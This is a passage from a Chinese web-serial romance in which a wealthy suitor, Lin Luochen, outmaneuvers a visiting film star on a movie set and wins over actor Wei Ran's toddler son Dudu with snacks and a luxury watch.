荣俊楠早就发现了，平时那个缩起来的蔚染不是蔚染，拿着剧本蹲在角落里背台词的蔚染也都不是蔚染。 ……唯有从导演喊开始的那一刻起、这个摄像机前的蔚染才是真的蔚染。 荣俊楠觉得，这才是蔚染一直最吸引自己的点。 出身香港富商家庭，作为一个来内娱玩票就把自己玩成影帝的人，荣俊楠是真的热爱演戏，也同样欣赏热爱演戏的人。 他依稀听说过蔚染的一些事。 可娱乐圈真真假假，除了确有一个来路不明的孩子以外，荣俊楠觉得其他的都不算事……至少真真切切看到蔚染对演戏的热爱的这一刻，他是这么觉得的。 “卡！”导演：“表现不错，先休息一下，我们先看看回放。” 导演喊了卡，场地内的氛围便是一变，所有人都陆续出戏。 蔚染入戏快，出戏也是最快的，只见他眨了眨眼，方才的骄傲与深情就全部从他脸上消失，蔚染就又变回了那个谦卑寡言的朴实人。 他正要去监视器那里看看自己的表现。 “蔚染。” 不远处，便有了唤了他的名字。 荣俊楠大踏步地走向场地中央，剧组的工作人员们这会儿都认出荣影帝了，纷纷向他问好、给他让路。 对于荣影帝出现在片场这件事，大家已经不觉得惊奇——外头的小黑板上都写了，荣影帝今天会探班剧组，还给大家都准备了奶茶，这事儿大家都已经知道。 至于荣影帝来探谁的，那也不用说了，大家都知道蔚染曾经跟荣影帝合作过。 尽管两个人的咖位还不匹配，但蔚染现在也是流量很大的明星了，大影帝来探班也没什么稀奇。 “荣哥。”蔚染一抬头就看见了荣俊楠，很自然地跟他打招呼。 早些时候荣俊楠就已经联系过他，说今天要来。 蔚染落魄的时候虽然惨，但娱乐圈像他这样见过许多大场面的人也不多。 对于影帝探班，他表现得比一般新星要淡定从容很多，就态度自然又不是热络地跟荣俊楠聊了起来，还指了指旁边的位置和休息室，提议荣俊楠可以先去那边坐着休息。 “没事儿，我正好看看你演的。” 荣俊楠不打算独自去休息，目光落到蔚染稍微带着一点薄妆的俊美面皮上，忍不住笑着说：“看看你演技最近有没有进步。” 蔚染是真戏痴，工作中他最热爱的就是跟人交流演技的这个环节，荣俊楠既然这么说，他当然欣然点头，还不自觉地对荣影帝笑了开来。 场地边缘，跟嘟嘟坐在一起的林洛宸自然注意到了这一幕。 车祸后彻底离开国内几年，外加上先前对娱乐圈不关注，即使听见周围人都叫荣影帝林洛宸也没认出这是个谁。 但他也还没小心眼到，连有人探班蔚染都得在乎。 即便他隐约觉得这位荣影帝看蔚染的眼神不大对。……林洛宸也尽量避免让自己多想。 只是展臂抱过了一旁的嘟嘟。 “唔？” 嘟嘟正在摆弄自己的儿童手表，因为对林爸爸并不设防，被抱过去他也只是奇怪地抬头看了看，“干爹？” 毕竟还只是个人类幼崽，嘟嘟不会看戏，对片场上发生的事也不敏锐，也就没注意到爸爸这会儿已经拍完一场戏了。 他只顺着林干爹的目光看过去，就看见爸爸正在跟一个叔叔聊天…… 看清楚那人的脸后，嘟嘟瞬间从小马扎上站了起来，蹿出地里的小萝卜一样，林洛宸也随之一愣：“嘟嘟？” 可惜嘟嘟这会儿正全神贯注地看着他爸爸那边，都没有注意到林叔叔的反应，只在嘴里嘀咕着：“哦呦，是，荣干爹来了呀。” 林洛宸：“……？”—— 作者有话说：小萝卜嘟嘟：[垂耳兔头][垂耳兔头] 第25章 蔚嘟嘟黑葡萄似的大眼睛一眨不眨, 专注地看向爸爸和他的另一位干爹，小手手都握成了拳头，也不知道在想什么这么认真。 林洛宸跟着望过去, 只见蔚染与嘟嘟的“荣干爹”正面对面地站在一起，更不知他们在说些什么。 林洛宸打量的眉眼逐渐泛起寒意。 这会儿再看那位荣影帝，怎么看怎么可疑。 不想下一刻，嘟嘟竟直接迈开小短腿, 走向自己的爸爸和他另一位干爹。 林洛宸：？ 嘟嘟在片场的时候很懂事, 一个崽也玩得很好，从不粘着蔚染。更不会去打扰蔚染工作。 刚才蔚染没开拍的时候嘟嘟都尚且一只崽崽在一旁坐着, 这会儿却忽然主动走了过去……是去跟他“荣干爹”打招呼？ 林洛宸眉眼压得更低，忽然发觉自己有些吃味。 就见场地中间, 蔚染最先发现向自己走来的嘟嘟, 便下意识蹲下, 将嘟嘟揽进自己怀里。 蔚染从没要求过嘟嘟不要乱走、不要来打扰他拍戏, 当然也是嘟嘟太懂事了, 根本不需要蔚染给崽儿交代这些。 ……以往在片场, 不是蔚染忙完主动去找嘟嘟，都不一定能见到自家宝宝的崽影。 所以忽然看见嘟嘟走向自己，蔚染还以为出了什么事。结果嘟嘟就只是挥舞着小圆手跟荣俊楠打招呼。 蔚染这才想起来，嘟嘟还认了荣俊楠做干爹。 ……那是在上一个剧组的事了。 嘟嘟先是认了很提拔蔚染的副导演做干爹，一旁的男主荣俊楠听见了，就也逗嘟嘟，要嘟嘟也喊他干爹。 那会儿嘟嘟还没被爸爸告诉不许乱认干爹。对于主动出现在自己世界里、要做自己爹的人，嘟嘟都从善如流，直接也大大方方地叫了荣影帝干爹。 当时荣俊楠的反应有点僵硬，他才三十, 只比蔚染大两岁，且还从没考虑过结婚生子的事，也不喜欢小孩子，忽然被个幼崽叫爹自然有些不适应。 蔚染也尴尬，也是因为这件事给他提了个醒儿，之后他才不让嘟嘟乱认爹，一是不想给别人带来类似的麻烦，二则是担心嘟嘟会受到伤害。 不过还好荣影帝是个体面人，当时虽然表现得有些尴尬，可很快他还是爽快地认下了嘟嘟，并且学着副导演的模样，也给嘟嘟一个非常体面的见面礼—— 荣俊楠直接把自己手腕上的一块机械表摘下来送给嘟嘟。 这蔚染当然是不能要，两个人在片场上推来推去，还被偷偷潜入的代拍给拍到了。 不过那会儿蔚染还很糊，荣俊楠的背景也不是什么媒体和营销号都敢瞎炒作的，代拍去拍的也是其他演员，倒没引起什么风波，发到网上也只是被荣俊楠的粉丝夸，说荣影帝善良体贴有爱心，喜欢小朋友、出手还大方之类。 那之后蔚染当然也尽量回了礼数。 他倒不至于看不出荣影帝并不喜欢小朋友，所以对于荣影帝的大气和给嘟嘟面子，蔚染一直是十分感念的。 现如今，场地内，荣俊楠看见粉雕玉砌的蔚嘟嘟，第一反应是惊叹：“才几个月不见，嘟嘟都长这么大了！” 宝宝每天都在生长，蔚染倒没看出自家崽崽变化有多大。 不过他一直很担心嘟嘟因为自己的缘故耽误了生长、长不高，现在听荣俊楠这么说，就算是蔚染也忍不住心花怒放，也还不忘谦虚地说：“小孩子长得都快。” 荣俊楠是真觉得嘟嘟比上次看还要可爱了一些，尽管上一次见面他也觉得蔚染家的崽崽很可爱……要不然，他那会儿也不会一时冲动，就认了嘟嘟做干儿子。 ——他这种身份的人，还不至于为了圆个小演员的面子，就不拒绝对方的儿子叫自己干爹，即便那个人是蔚染。 但认了也就认了，荣俊楠不在乎，更不在乎当初随随便便送给蔚染儿子的礼物。 他甚至不在乎到，当看见小尾巴一样跟在蔚染身边的小孩子，才反应过来这是蔚染家的孩子蔚嘟嘟。 当然，他还是对小孩子无感的，跟蔚嘟嘟打过招呼后，荣俊楠就将注意力放回到蔚染身上说：“我可提前打听好了，你今天戏少，等会儿晚上你可得跟我一起去吃饭。” 蔚染没想到对方来探班还得吃饭，这事荣影帝没提前跟他说。他本就木木的，除了拍戏和带崽，对其他事的反应都很淡，这会儿便“啊？”了一声作为回应。 荣俊楠以为他是在顾虑儿子，便说：“我不知道你把嘟嘟也带来了，没关系，嘟嘟可以跟我们一起去。” 嘟嘟待在爸爸的怀里，看看爸爸又看了看荣叔叔，之后坚定地抬起小胳膊环上爸爸的脖颈，那意思，总之嘟嘟要跟爸爸在一起的。 可蔚染已经在盘算嘟嘟睡觉的时间了。 他不知道荣影帝之后会不会还请其他朋友来，蔚染跟荣俊楠出去吃过两回饭，荣影帝朋友多、生活丰富，每次都要到好晚才散。 而且说实话，以蔚染的疲惫程度和心态老成的程度，他根本不想参加那种饭局。 荣俊楠虽然比他大，但还处在喜欢吃喝玩乐、也能玩能乐的阶段。 蔚染却是丝毫乐不起来。 嘟嘟看看这个又看看那个，小声喊蔚染：“爸爸……” 蔚染回过神来，对荣影帝说：“要不下次吧，等过两天杀青以后，再单独请荣哥……” “唉下次我都不知道是什么时候了。”荣俊楠当然拒绝，他身边的人只能服从他的时间安排。 但他也知道蔚染轴，他看上的就是蔚染的这份纯粹，倒也不生气蔚染的推脱，只是连哄带不许人回绝地说：“就今天吧，啊，行不？我就今天有时间啊……” 说着，他抬手欲去搭蔚染的肩。 但他的手还未触及到蔚染，就被另外伸过来的一条手臂给轻松挑开了——一个个子极高、大概得有一米九，表情如黑面煞神的青年不知何时来到了他们近前。 “抱歉，蔚染今晚有约了。” 林洛宸语气很冷地说。 蔚染和蔚嘟嘟都下意识望向了他。 蔚染表情没什么变化，但林洛宸明显从嘟嘟的眼神中看见了一抹光亮和崇拜……原本担心自己“多管闲事”、会引起蔚染不愉的顾虑瞬间消散。 很好，他无比确定了，嘟嘟不喜欢那个荣爸爸。 至于嘟嘟既然不喜欢这个干爹、又为什么要认他的事，这个可以之后再说。 在接收到蔚嘟嘟的一点点鼓励后，林洛宸直接无所顾忌，对荣影帝说：“真不巧，我已经跟嘟嘟爸爸说好，今晚一起带嘟嘟出去玩了。” “……这位是？”荣俊楠在来来回回把林洛宸打量了个遍后，问。 既问的是蔚染，也在问林洛宸。 虽不认识这个人，但单从林洛宸的穿着和气场上看，荣俊楠便知这绝对不是个普通人。 ……内娱什么时候有了这样一位？荣俊楠怀疑自己也有点蔚染那毛病了，脑子转不过来弯儿。 要不然以他的人脉和见识，但凡是涉足娱乐圈的、稍微有点地位的，他不可能没听说过。 自己毕竟也才离开国内去度假了两个月而已…… “鄙姓林。” 不等蔚染开口，也不等荣俊楠再与蔚染有什么身体接触，林洛宸直接伸出自己的一只手，大方自我介绍道：“林洛宸。” “……林先生，幸会。” 输人不输阵，即便还不知道这人是哪位，荣俊楠还是下意识伸手跟林洛宸握了个手。 尽管他已经懵了，正常时候做自我介绍，这人不该介绍下自己的职务、职位吗？只说个名字…… 要么是这名字真的很响亮，只说名就够了。 要么是名不见经传的小卡拉米，根本没什么能叫得出手的名号。 因为从未听说过有这么个人，荣影帝倾向于是第二种可能。 可这个人的模样太坦然了。气场过于强大，且无一丝表演痕迹……所以理智而言，荣俊楠又觉得可能是第一中情况…… 从始至终，林洛宸都保持一只手插兜的姿势，淡然且不卑不亢。 与他相比，没摸清楚状况的荣影帝，则在气势上稍逊了一层。 站在他们中间的嘟嘟：……秃~然觉得林爸爸好帅是怎么肥四！ 人类幼崽仰着大头下意识张大了嘴巴，嘟嘟看看这个看看那个，之后再看看爸爸。……要看三个人，宝宝都快忙不过来了！ “不知道林先生跟阿染是……” 荣俊楠想问他们是什么关系，怎么认识的，以及林先生究竟是谁。 一般情况下，这些问题都不需要他亲自问出口，周围人抢答还来不及。 可偏偏蔚染从没有要舔他的意思，且经常处于状况外；而对面的林先生，则完完全全是一副上位者的姿态——你问我我都不一定会回答，更何况你话只问一半。 至于嘟嘟，嘟嘟是个很有礼貌的小朋友，荣爸爸没有问嘟嘟问题，而是问林爸爸和爸爸，那么一般情况下嘟嘟就不会抢话，除非是现在的情况触动了幼崽的人机模式。 总之，这回，荣俊楠的问题掉到了地上。 他就只能在三秒钟后尴尬地追问：“你们是什么关系？” 林洛宸也看出荣俊楠并不认识自己，他以为对方至少会先打听一下自己的身份，毕竟这才是社交中最常有的模式，不自报家门也是在等对方问，他就是要在蔚染面前，在气势上碾压蔚染的这位前辈。 但结果，荣俊楠并没有按自己设想的出牌，对方甚至还直接问自己跟蔚染是什么关系…… 那只能说明，这位荣影帝真的很在乎自己与蔚染的关系。 人们总是会在搞不清楚状况时，率先打听自己最好奇的那部分。 想到这里，林洛宸仍保持桀骜的样子，却嘴上一快地说：“共养一子的关系。” 荣俊楠：？？？ 周围的人：？！！ 蔚染猛回神：……？？？ 话刚出口林洛宸就有些后悔，他担心蔚染会炸。 但亲眼见着蔚染是一副受惊小鹿的模样、第一反应并不是生气后……嗯，说就说了。 林洛宸竟然恶劣地挑了挑唇角，他干脆低头去看嘟嘟。 全当不知道嘟嘟也认了眼前这位荣影帝当爹，林洛宸就只对嘟嘟招手说：“是吧，嘟嘟？嘟嘟是林爸爸的好宝宝吗？” 林叔叔的问题问到嘟嘟头上了，嘟嘟就会回答。 “是的哦！”嘟嘟很有礼貌地再次来到冲自己招手的林爸爸面前，伸出小胳膊给对方抱，还甜甜地叫：“林爸爸！” 荣俊楠：“……” 蔚染：“……”—— 作者有话说：蔚染：他知道了？！！ 林洛宸：蔚染没否认、没不高兴、没生气……他是不是还爱我[可怜] 25-30 第26章 大概是蔚染没否认与林洛宸晚上有约的事, 也大概是被林洛宸气到了，荣影帝没待上一会儿就提出要走。 林洛宸也没要拦着他离开的意思，只是环顾四周：“荣先生的奶茶什么时候到？” 他没有问什么特定的人。 可周遭的人打从他跟荣影帝对上后, 就一直观察着这边，甚至是屏住呼吸小心翼翼地…… 于是当林洛宸开口询问的时候，之前早被吩咐过要好好招待这位的导演助理还是讪讪回答：“已经联络人去外面接了……” “哦。”林洛宸不置可否地应了一句。 提出要走的荣俊楠：“……”什么意思，他这么大的腕要走了, 这人却问他请的奶茶什么时候到？？ 自己是那种说了请客但爽约的人吗？？ “荣先生别误会。”明显看出了他的不爽, 林洛宸说：“只是我渴了，想喝奶茶。” 荣俊楠：“……” 蔚染：“……” 蔚染再呆也能看出林洛宸是在针对荣影帝, 不由转头向林洛宸的方向看去，想说这么多年了, 这人在外人面前狼崽子一样的脾气怎么还没变。 而他对面, 平静地对上蔚染的视线, 林洛宸嘴角微翘, 却仍继续平静地点头：“我爱喝奶茶。” 蔚染：“……” 林洛宸：“但也不能只让荣先生请客, 这样吧, 今天的其他下午茶我请。” 他说着就掏出手机开始编辑消息。 旁边的一众工作人员都投来好奇的目光，好奇这位林先生会请什么。 但没有人质疑林洛宸是在装逼。 毕竟除了荣俊楠是后来的不知道，其余所有人可都还记得、先前导演和总制片人恭恭敬敬将人请进来的样子。 林洛宸刚发送完消息。 身边就传来一阵脆脆的小声音：“林爸爸，喏，给你。” 林洛宸闻声低头，嘟嘟正抱着自己的大肚杯，举着给他。 蔚嘟嘟平时很喜欢喝水，蔚染给他准备的杯子都是最大的，跟小朋友的身形并不相称。所以装满水的大肚杯被嘟嘟举着也很吃力。 但嘟嘟还是抖着小胳膊说：“林爸爸渴了，可以先喝嘟嘟的水哦！” 林洛宸：！！！ 心房都被猛击了一下, 林洛宸迅速蹲下身来对嘟嘟说：“林爸爸不用，谢谢嘟嘟。” “不客气的林爸爸。”嘟嘟很有礼貌地回应。 既然林爸爸蹲下了，那宝宝也不用继续举着杯子了，反而嘟嘟手中的杯子被林洛宸自然地接过，他问：“嘟嘟晚上想吃什么？” “唔……” “嘟嘟，你不给我喝水吗？”就在嘟嘟打算说吃什么的时候，荣俊楠的声音突兀地将之打断。 嘟嘟立即看向旁边的荣爸爸。 很会端水的崽崽这会儿也想举杯子过去的，但奈何他的水杯已经被林爸爸拿着了，于是嘟嘟便只很客气地说：“给的呀，荣爸爸，也渴了吗？” 但这在荣俊楠眼中却变成了敷衍。 或者说他本来也不会喝别人水杯里的水，他就是单纯觉得嘟嘟在这个时候给林洛宸水，是与姓林的更亲近的意思。 先前在片场的时候，嘟嘟跟他的导演干爹相处、也比跟自己熟络。 但那会儿荣俊楠根本不在乎，他的目光全在蔚染身上，甚至觉得不被小孩黏着挺好。 可在这个片场里，明显感觉到剧组工作人员对这位林先生的礼遇和高看，便让荣俊楠有些不爽了，这会儿嘟嘟又更偏向姓林的…… 荣俊楠只觉得自己的脸面下不来台。 他这会儿倒是迫切地想知道这姓林的是什么身份了，于是什么都没说，也没回答嘟嘟的问题，抬步就向拍摄场地的出口走去。 在一众一线大腕男星中，荣俊楠算是比较和蔼、不会随随便便甩大牌的了。 所以他抬步就走也没人觉得突兀。 大腕都是这样的，不开口骂人就算不错了，谁知道他们又在想什么呢？ 周围的工作人员们眼观鼻鼻观心，都当没感受到荣影帝的低气压。 只是嘟嘟有些疑惑—— 荣爸爸，还没有回答嘟宝的问题呀？ 被问到什么都会认真回答的嘟嘟，忽然有点不明白是自己有问题，还是荣爸爸有问题？ 这时，蔚染已经也跟着蹲下来，拉着嘟嘟的小手小声说：“荣叔叔不是渴了，荣叔叔只是在逗嘟嘟呢。” 小朋友被大人忽视其实是常有的事，尤其是对不喜欢小朋友的人来说，也不该要求对方对自己家的崽崽有耐心。 蔚染从没要求过别人必须善待自家宝宝，但作为小时候也被忽略过、就这样一路长大的大人，蔚染却也不想自家的宝宝体会到这种被忽视，所以每次遇到这种情况，他都会尽量跟嘟嘟解释。 他解释的声音很轻，只有父崽两个能听到，既不会冒犯到别人，也会叫嘟嘟听清。 为了做到这一点，蔚染不得不蹲下来与嘟嘟平视，连这样子就变成他跟林洛宸一起在蹲着、两个人无形中已经凑得很近了都没注意到。 林洛宸瞬间有些紧张，黑白分明的眼底全倒映着蔚染近在咫尺的一张俊颜。 而嘟嘟在蔚染温柔的语气里，便果然没再在意荣爸爸从他身边冷漠走过的事。 “呀，那就是，荣爸爸不要喝水了咩？” “嗯。”蔚染很认真地对自家崽点了点头。 蔚染声音虽小，但嘟嘟嗓音却脆脆的，还是被尚未走远的荣俊楠听到了。 本来荣俊楠这会儿心情就不好，连带着把嘟嘟也责怪上了。 就算心里再提醒自己没必要跟个小孩儿计较，可听见这小孩还在纠结他喝水的事，他火气也上来了，这会儿直接嗔怪起了蔚染。 荣俊楠停步转身，正想问问蔚染和他儿子，那自己就是不要喝水了又怎么样。 就听蔚嘟嘟操着软软的小声音，嗓音脆脆地说：“那太好了，荣爸爸不是渴了……口渴也是很难受嘚儿！” 荣俊楠：“……” 荣俊楠一时说不出话。 视野里，蔚嘟嘟大眼睛扑扇扑扇地看着自己的爸爸，整只幼崽像一块雪白糍粑一样纯白且柔软。 蔚染还蹲在地上对他家宝宝温和地笑，并说道：“是呀，下次哪个叔叔姨姨再渴了的话，宝宝再把水分给他们吧。” “好的呦。”嘟嘟摸了摸自己的大水杯，信誓旦旦地答应了爸爸。 …… 荣俊楠忽然有点无地自容，以更快的速度大踏步地离开了。 还抱着嘟嘟和嘟嘟水杯的林洛宸，则依旧在盯着蔚染的侧颜。 蔚染其实一直都是个很温柔的人。即使是在最恣意洒脱最狂的时候，蔚染也像只小羊犊一样。 也许不够温顺，但绝对是柔软的、温暖的…… 片刻后，蔚染终于反应过来了。 他感受到不一样的气息，果然稍微一侧眸，便一眼撞入林洛宸的眼眸。 “……” 两个人围着嘟嘟，离得太近了，仿佛呼吸都在交织缠绕着。 蔚染下意识屏息，苍白的脸上却难以抑制地涂抹上了一分红色。 “你……看什么呢。”他不得不率先出声打破这奇怪的氛围。 林洛宸也的确这才堪堪回过神来，也下意识移开了眼，轻咳一声：“没什么。” 蔚染：“……” 奇怪旖旎的氛围，在导演的一声轻咳中被彻底打破。 “那个，蔚老师……”导演在圈内身经百战，这会儿已经全懂了，包括为什么林总突然自愿加入投资商的行列…… 但也因为懂了，导演才更知道怎么做，这儿人多眼杂的，导演赶紧挥舞着手里的剧本，说：“蔚老师还有王老师，咱们再来说说下场戏……” 导演话音响起的时候，林洛宸就拎起嘟嘟，向拍摄场地的外部走去了。 嘟嘟知道爸爸这是要工作了，于是被拎起来的时候他一个崽崽跟根儿萝卜一样，一点都不挣扎——毕竟不被林爸爸抱走，嘟嘟就还得自己走。 嘟嘟倒是可以自己走。但林爸爸，有的是力气！ 宝宝从来不舍得让爸爸抱抱，但也是很喜欢被人抱着走嘚儿！ 被林爸爸带到一边，林洛宸就问嘟嘟下午茶想吃什么，想请大家吃什么。 嘟嘟已经有金钱的概念了，但仍不能第一时间联想到请大家吃东西会叫林爸爸破费，林爸爸问了，嘟嘟就答了。 ……答了很多很多。 因为嘟嘟，就是大方地什么都想和这些爸爸的同事们分享！ 于是过了半个钟头，就陆续有甜甜圈、各式各样的水果，甚至还有美味炸鸡送到了剧组里。 外面荣影帝请喝奶茶的小黑板旁边，又多了一个小黑板，上面写着嘟嘟请大家吃各式下午茶。 一时间，连隔壁剧组都羡慕了—— “这蔚老师家的崽崽，也太大气了吧！” “听说还可以去蹭吃，流水席，连晚饭都包了……” “蔚老师，实在太破费了。” …… 嘟嘟小手里举着个快比他脸还大的甜甜圈的时候，林洛宸状似随意地问：“所以嘟嘟为什么要认那个荣叔叔做爸爸？” 半个多小时的时间，已经足够他拿到荣俊楠的全部资料。 “唔唔。”甜甜圈太大了，嘟嘟“啊呜”咬了口，大脸蛋都深陷其中，因此擦到了不少里面的巧克力酱。 林洛宸笑了笑，竟然比王奶奶还快地拿过一边的纸巾给嘟嘟擦脸。 于是嘟嘟的大脸蛋充满了巧克力酱，变得更花。 王淑琴：“……” 可嘟嘟并不在乎，等咀嚼完嘴里的食物，就回答林爸爸说：“因为荣爸爸，比窝拔拔高。” 林洛宸：“……” 怎么又是这个理由。 ……是嘟嘟喜欢高个子的爸爸？ 还是…… 蔚染喜欢个儿高的？？？…… 那倒也没什么。 反正自己肯定合格。 林洛宸表情变化莫测，最终归于平静。 他继续给嘟嘟擦脸。 “唔还有。”嘟嘟：“荣拔拔，他总黏我爸爸~” “哦？”林洛宸眉宇猛地向下一压，整个人都锋利了起来：“怎么个黏法？” “哎呦。”提到这个，嘟嘟突然揣手手。 能说么，最初他认荣拔拔做爸爸，就是因为荣爸爸看爸爸的眼神不一样。 经纪叔叔说，看样子荣拔拔是要追求爸爸。 于是嘟嘟的小雷达就竖起来了——想追求爸爸的，也要赶紧纳入干爹行列，统一调教！ 所以嘟嘟就干脆认了荣拔拔做干爹。 不过。 揣手手的人类小胖崽不仅支支吾吾，大眼睛还地转个不停，小狐狸崽儿一样。 但因为嘟嘟生得太可爱了，眼睛又大又圆，即使滴溜溜转着也不会让人觉得他贼眉贼眼，反而会越发觉得这崽儿可爱灵动。 不过——嘟嘟又听说——荣爸爸很花心。 对方在外面已经有别的朋友了，不是真心跟爸爸处朋友…… 虽然嘟嘟还不明白为什么爸爸和另一个爸爸只能跟彼此处朋友，中间千万不能有其他人……但荣拔拔这一点，已经犯了嘟嘟的大忌。 花心的一律都要pass。所以嘟嘟早就后悔认荣拔拔做爸爸了。甚至看见对方接近染染，嘟嘟都得跟上前去搅和！ “……所以嘟嘟是不喜欢那个荣叔叔，刚才才会跑去找你爸爸……” 林洛宸听明白了。嘟嘟是嫌弃荣俊楠脚踏两条船还要泡蔚染。 ……这他妈。 在他这也绝对不允许！ “嘟嘟。”林洛宸叫了怀里的幼崽一声，在宝宝好奇看过来的时候，低声说：“做得好。” “……哒！” 被表扬的嘟嘟下意识挺起了小胸脯，然后发现自己的一只小圆手也被林爸爸握入掌心。 另一只小手还举着诺大的甜甜圈，忽然就跟林爸爸握手了……嘟嘟不由想起，刚才林爸爸跟荣爸爸握手时、那特别炫酷的样子，就感觉嘟嘟也是那么酷。 人类幼崽又开心地笑起来，然后“啊呜”一声，继续特别满足地继续啃了口甜甜圈。 刚擦干净的脸蛋，又染上了巧克力酱。 林洛宸继续耐心地给幼崽擦着腮帮子。 这一次熟练了很多，没有将嘟嘟的小奶膘弄得更花。 他对嘟嘟说：“既然嘟嘟不喜欢荣叔叔，那就不要他做爸爸了吧？” “唔？这样可以咩？”嘟嘟睁着浑圆的眼睛看着林叔叔……嘟宝是很讲那个什么约约精神的，答应了荣拔拔认他做嘟宝干爹，嘟嘟不知道还能毁约。 “契约精神？”林洛宸挑了挑眉，再度感慨嘟嘟竟然懂这么多的同时，也不忘继续诱惑崽儿道：“当然可以，只要嘟嘟愿意，林爸爸去跟那个荣叔叔说。” “唔，那也好哦。”嘟嘟同意了，没什么犹豫地，人类幼崽就是这么单纯又纯粹。 然后嘟嘟也没有忘记他还拿过荣叔叔一块手表的事，嘟嘟表示：“礼物，也要还给荣拔拔噢。” “……嗯。”林洛宸觉得，嘟嘟这么小就绝不占人一分便宜，简直跟蔚染一模一样。 也是蔚染教得好。 他把嘟嘟抱在自己大腿上抱着，只觉得这软乎乎的幼崽可爱得不行，道：“那块手表还给叔叔，林爸爸给你个更好的。”. 晚上收工后，蔚染就真莫名其妙地，跟林洛宸去吃了个饭。 总结原因，大概是因为林洛宸说了他们晚上有约，嘟嘟信了；林洛宸还给嘟嘟承诺了一大堆好吃的东西，嘟嘟也信了。所以下工以后，嘟嘟就自然而然地跟着林洛宸走了。 蔚染：“……” 好吧，抛开一切来说，嘟嘟跟林洛宸玩得的确很好。 蔚染能感受出荣俊楠不喜欢嘟嘟，也能感觉出林洛宸喜欢嘟嘟。 比如他们吃饭的地点，林洛宸选的依旧是私密度极高的私房菜餐厅，只接待他们一桌人，环境也极度安静适宜，还另外设置了小朋友的游乐区，的确比荣俊楠喜欢的就餐场地更适合带嘟嘟来。 …… 很多细节都是极易挖掘的。 而嘟嘟身边多了一个真心对宝宝好的人，总归是好的。 席间，蔚染也知道了，嘟嘟单方面要跟他荣拔拔“解约”的事。 ……原本他就没想嘟嘟认荣影帝做干爹，荣俊楠给嘟嘟的那块手表是品牌方送的，几万块不算贵，蔚染早就暗戳戳地还回去了相等价值的东西，所以嘟嘟不认这个干爹了蔚染也觉得没什么。 但问题是，这些都是林洛宸出的主意！ ……先前蔚染自己跟嘟嘟说不要认荣影帝做干爹嘟嘟都没同意。现在，崽崽竟然同意了！ 蔚染愣住了，也吃味了。 林洛宸则当着蔚染的面把自己的表摘下来送给嘟嘟，说：“荣叔叔送嘟嘟的表，明天林爸爸帮你还回去怎么样？” 他对别人送给这对父崽的东西很在意也很执着。 嘟嘟对机械表没什么感念，也不知道其价值，嘟嘟只是有点疑惑——先前宝宝都跟林爸爸说好会还表了呀？真不明白林爸爸怎么这会儿又提。 可嘟嘟还是礼貌地答应：“嗯哒。” 林洛宸便扬了扬唇角，又说：“那等会儿林爸爸跟嘟嘟回家，把那块表取回来怎么样？” 嘟嘟：“好呦。” 蔚染：……等等等等。 好个头啊！ 蔚染还不至于迷糊到这个程度，大晚上让林洛宸登门。他当即对嘟嘟说：“手表我会去还，不用你林叔叔去。” 嘟嘟没什么意见的：“哦哒。” 林洛宸：“……” 蔚染又看了看嘟嘟手上的那块百达翡丽……这种最少最少七位数的手表，他是无论如何也还不回同等价值的东西的，于是蔚染说：“嘟嘟，把手表还给林叔叔……嘟嘟还小，等你再大些，爸爸给你买。” “好哦！”对于爸爸的话，只要是无关乎剧情的，嘟嘟就从来不会怀疑。幼崽干脆伸出圆手把手表递回：“林爸爸。” 林洛宸：“…………” 林洛宸自问脾气也不好，他就算再喜欢蔚染也不会允许这种事情也要蔚染做主……总之送东西这种事不行。 不能让蔚染开了这个口子不要自己的东西。 林洛宸态度坚决，干脆把手表塞进嘟嘟的小书包里：“我说送宝宝就是送宝宝了，林爸爸的什么东西都是嘟嘟的。” 他语气强硬得宛如在公司开会，蔚染都很少见他这样，不由有些诧异，林洛宸却已经转回眸光说：“给孩子的。” 意思是又不是给你的。 蔚染：“…………” 蔚染自然还是不能同意。 本来就都倔，两个人最后差点因为这事撕吧起来。坐在儿童餐椅上的嘟嘟看着爸爸又看着林爸爸，忽然咯咯咯地乐了。 ——好像好久，没见到爸爸这么有活力了喏！ 嘛，只要爸爸开心，宝宝也就开心了。 嘟嘟满意地把盘子里的一块小凤梨塞入口中，开心地咀嚼咀嚼。 撕吧的结果，还是蔚染赢了。 ……林洛宸一握住蔚染没一点肉的手腕就心软了，也不敢使力，最终还是让蔚染把那块手表成功地塞回到了他的上衣兜里。 而为了做成这件事，蔚染几度都快趴在他身上。 极近的距离，林洛宸仿佛闻到了蔚染身上的香气。 ……不是古龙水的味道，也不是他白天上妆时沾染上的化妆品的味道。硬要形容的话…… 似乎是阳光的味道。 林洛宸顿时觉得诧异。 自己的嗅觉恢复了？ ……曾几何时，他也是发了疯似的，想要重新找回蔚染身上那种阳光和小蛋糕一样的气息。 他还以为自己这辈子再也闻不到了. 当然嗅觉可能恢复了一点点，味觉还完全没恢复，反正这顿饭吃完，林洛宸也没尝出什么味道。 他的全部精神都放在蔚染和嘟嘟身上了。 蔚染大概是开始后悔刚才撕吧的太过火。之后吃饭的时候，他整个人都重新沉默了下来，专注地喂嘟嘟吃东西，速度快到嘟嘟的小嘴都快跟不上！ 偶尔蔚染回头喂嘟嘟的时候，林洛宸就能看见蔚染一头短发间，露出的耳垂，似乎是有些红红的。 蔚染一害羞耳垂就会发红。反正记忆里是这样的…… 林洛宸就一边这样想着，一边盯着蔚染发红的耳垂，看了很久很久。 一顿饭下来，除了嘟嘟和不需要喂嘟嘟、但依旧被邀请上桌的王奶奶吃得还算可以以外，另外两个大人倒都不知道这桌子的菜是什么滋味儿。 吃完了饭就该回家了。 嘟嘟要早睡，蔚染明天还得早起。 林洛宸：“我送你们回去。” “不用了。”蔚染忙回绝说。他的车也跟着一起来了，根本不用林洛宸送。 但对上对方仿佛受伤了的狗狗眼，在手表事情上胜出的蔚染忽然就不好意思直接拒绝了，他下意识找了个理由：“……我车上有儿童座椅，嘟嘟坐那个比较安全。” “……嗯。” 林洛宸微微一怔，之后理解地点点头，“那行，你们上车吧。” 他可以在后面跟着，如此送蔚染和嘟嘟回去。 “……”蔚染恍惚间看出了他的打算，但林洛宸不说，他也不能拒绝什么，便只说：“……你也早点回去吧。” 林洛宸：“嗯。” “……” 抵达停车场的时候，嘟嘟忽然指着一辆黑色轿车，对蔚染说：“爸爸，看小金人！” 蔚染看着那辆限量版的劳斯莱斯，也没忘记上次他带嘟嘟去买红薯时父崽之间发生的梗，遂笑着夸嘟嘟道：“嗯，嘟嘟真聪明！” 上次嘟嘟认出了小金人，也被爸爸夸聪明。 被夸聪明的嘟嘟开心地跳跳。 “这是林爸爸的车！” 嘟嘟很快想起来，第一次见还是叔叔的林爸爸，叔叔坐的就是这辆小金人，所以这是叔叔的车。 蔚染：“……” 